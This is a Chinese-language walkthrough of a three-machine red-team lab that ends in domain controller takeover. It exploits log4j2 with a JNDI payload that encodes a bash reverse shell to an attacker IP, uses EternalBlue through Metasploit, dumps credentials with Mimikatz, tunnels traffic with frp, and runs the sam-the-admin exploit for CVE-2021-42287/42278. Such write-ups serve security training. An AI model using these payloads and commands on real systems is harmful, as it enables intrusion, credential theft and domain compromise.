Redteam2靶場攻略(從外網 log4j2 RCE 再到內網核彈組合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC)
環境啟動
參考文章https://mp.weixin.qq.com/s/UAeOtOwigsB45hcjYEGh9g
本靶場由3臺虛擬機構成

| 主機 | 網卡 | ip地址 | 角色 |
|---|---|---|---|
| docker -log4j2 | ens33外網網卡(橋接)/ens38內網網卡 | 192.168.210.39/10.0.1.6 | webserver |
| win7 | 本地連接1/本地連接2 | 10.0.1.7/10.0.0.7 | 域內個人主機 |
| win2012r2 | 本地連接1 | 10.0.0.12 | 域控DC |
資訊收集
nmap掃描
┌──(root💀kali)-[~]
└─# nmap -A 192.168.210.39 -p-

發現ssh服務開放22埠 ,38080埠是http服務

漏洞利用
log4j2漏洞復現
本地kali搭建ldap服務器
工具鏈接https://github.com/zzwlpx/JNDIExploit

BP抓包,改為post傳參并且構造payload
/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反彈shell
payload=${jndi:ldap://192.168.210.23:1389/TomcatBypass/Command/Base64/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjEwLjIzLzk5OTkgMD4mMQ==}

反彈shell命令需要進行base64編碼

同時kali監聽9999的埠,成功getshell

雖然拿到了root但是發現此刻我們在docker內
cat /proc/1/cgroup

在root家目錄下發現flag1

根據flag1的提示我們得到了saul Saul123 這非常像一組賬密
在資訊收集中nmap掃到目標主機開放22ssh服務,因此思路可轉向ssh
是否能夠進行docker逃逸等后續研究
ssh登錄
ssh成功登錄目標主機

內網資訊收集
通過資訊收集發現本臺主機共有兩塊網卡
ens33:192.168.210.39 (外網網卡)
ens38:10.0.1.6 (內網網卡)

內網主機探活
法一、
我們用 for 回圈 ping 一下 ens38 的 C 段:
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

發現存活主機10.0.1.7
法二、
或者使用 scan info 工具進行內網資訊收集
kali中使用python快速搭建httpd

靶機下載工具并賦予權限

進行內網資訊收集

發現10.0.1.7存活并存在MS17-010
流量代理
由于目標10.0.1.7在內網需要把流量代理出來
kali使用python快速搭建httpd
python3 -m http.server 8888

目標靶機下載frp

使用frp把目標靶機流量代理出來
kali端 frps

靶機端 frpc

漏洞利用MS17-010
拿到win7shell
msf設定Socks
msf6 > setg Proxies socks5:127.0.0.1:6005 ------設定socks5代理
Proxies => socks5:127.0.0.1:6005
msf6 > set ReverseAllowProxy true -----允許反向代理
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/smb/smb_ms17_010 --輔助檢測模塊檢測ms17-010

發現存在ms17-010
攻擊設定
msf6 auxiliary(scanner/smb/smb_version) > search MS17-010
.....
msf6 auxiliary(scanner/smb/smb_version) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.1.7
rhosts => 10.0.1.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
注意由于目標在內網,故而tcp反射連接不能使用 設定為payload正向bind_tcp!

抓取記憶體密碼,資訊收集
加載獼猴桃 Mimikatz 先把密碼抓出來:
meterpreter > load mimikatz 加載工具
meterpreter > creds_all 列出憑證
注意命令是從記憶體中抓取密碼,靶場原始狀態為暫停恢復即可,如果重啟過需要登錄一次win7


C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32>cd /Users/root/desktop
cd /Users/root/desktop
C:\Users\root\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9227-12B7
Directory of C:\Users\root\Desktop
2021/12/20 17:32 <DIR> .
2021/12/20 17:32 <DIR> ..
2021/12/20 17:33 19 flag.txt
1 File(s) 19 bytes
2 Dir(s) 30,754,717,696 bytes free
C:\Users\root\Desktop>type flag.txt
type flag.txt
flag{redteam.lab-2}
在桌面上發現第二個flag

ipconfig 發現第三層網路

net user /domain
ping dc

得到dc的ip為10.0.0.12
內網滲透之大殺器 - CVE-2021-42287、CVE-2021-42278
Microsoft Windows Active Directory 域服務權限提升漏洞(CVE-2021-42278、CVE-2021-42287)攻擊者可利用該漏洞將域內的普通用戶權限提升到域管理員權限,造成風險和危害極大,
流量代理
meterpreter > background
[*] Backgrounding session 1...
后臺運行session
代理模塊添加socks5代理

配置路由

注意更改本地代理配置與msf中設定對應
vim /etc/proxychains4.conf

使用漏洞利用腳本
下載:https://github.com/WazeHell/sam-the-admin
注意此腳本需要一個域用戶的賬戶+密碼
──(root💀kali)-[~/tools/exp漏洞利用/CVE-2021-42287+CVE-2021-42278/sam-the-admin-main]
└─# proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:389 ... OK
[-] WARNING: Target host is not a DC
[*] Selected Target dc.redteam.lab
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-12$"
[*] MachineAccount "SAMTHEADMIN-12$" password = MQtyQic2&zvb
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:445 ... OK
[*] Successfully added machine account SAMTHEADMIN-12$ with password MQtyQic2&zvb.
[*] SAMTHEADMIN-12$ object = CN=SAMTHEADMIN-12,CN=Computers,DC=redteam,DC=lab
[*] SAMTHEADMIN-12$ sAMAccountName == dc
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-12$
[*] Restored SAMTHEADMIN-12$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[*] Saving ticket in Administrator.ccache
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:445 ... OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>cd \Users\administrator\Desktop
[-] You can't CD under SMBEXEC. Use full paths.
C:\Windows\system32>type \Users\administrator\Desktop\flag.txt
flag{redteam.lab-3}
Congratulations, the challenge is successful!
by: saulGoodman

桌面上拿到flag3,通關!
flag{redteam.lab-3}

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/395032.html
標籤:其他
